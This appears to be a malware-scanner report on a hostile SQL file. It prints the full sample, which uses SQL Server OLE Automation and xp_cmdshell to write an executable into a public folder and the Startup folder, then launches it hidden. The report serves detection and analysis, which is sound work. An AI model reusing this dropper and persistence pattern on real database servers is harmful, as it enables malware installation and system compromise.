Hostile 92% Download

sql-utf16.sql

SQL injection drops and runs malware

SQL OLE stages hex MZ data beside hidden executable launchSQL OLE requests hidden EXE launch
SHA-256c35a975d01ed3089f47f46767cb6a3f0eea1d53553ef19cfc9e9944eba0db641

Evidence

SQL OLE saves to an EXE path lines 1–19
1DECLARE @DATA VARBINARY(MAX) = 0x4D5A90000300000004000000FFFF0000B800000000000000;
2EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
3EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
4EXEC master..xp_cmdshell N'mkdir "C:\users\public\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul';
5DECLARE @t INT;
6EXEC sp_OACreate 'ADODB.Stream', @t OUT;
7EXEC sp_OASetProperty @t, 'Type', 1;
8EXEC sp_OAMethod @t, 'Open';
9EXEC sp_OAMethod @t, 'Write', NULL, @DATA;
10EXEC sp_OAMethod @t, 'SaveToFile', NULL, 'C:\users\public\other.exe', 2;
11EXEC sp_OAMethod @t, 'SaveToFile', NULL, 'C:\users\public\Microsoft\Windows\Start Menu\Programs\Startup\other.exe', 2;
12EXEC sp_OAMethod @t, 'Close';
13EXEC sp_OADestroy @t;
14DECLARE @sh INT, @ret INT;
15EXEC sp_OACreate 'WScript.Shell', @sh OUT;
16EXEC sp_OAMethod @sh, 'Run', @ret OUT, 'C:\users\public\other.exe', 0, 0;
17EXEC sp_OADestroy @sh;
18EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE;
19GO

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.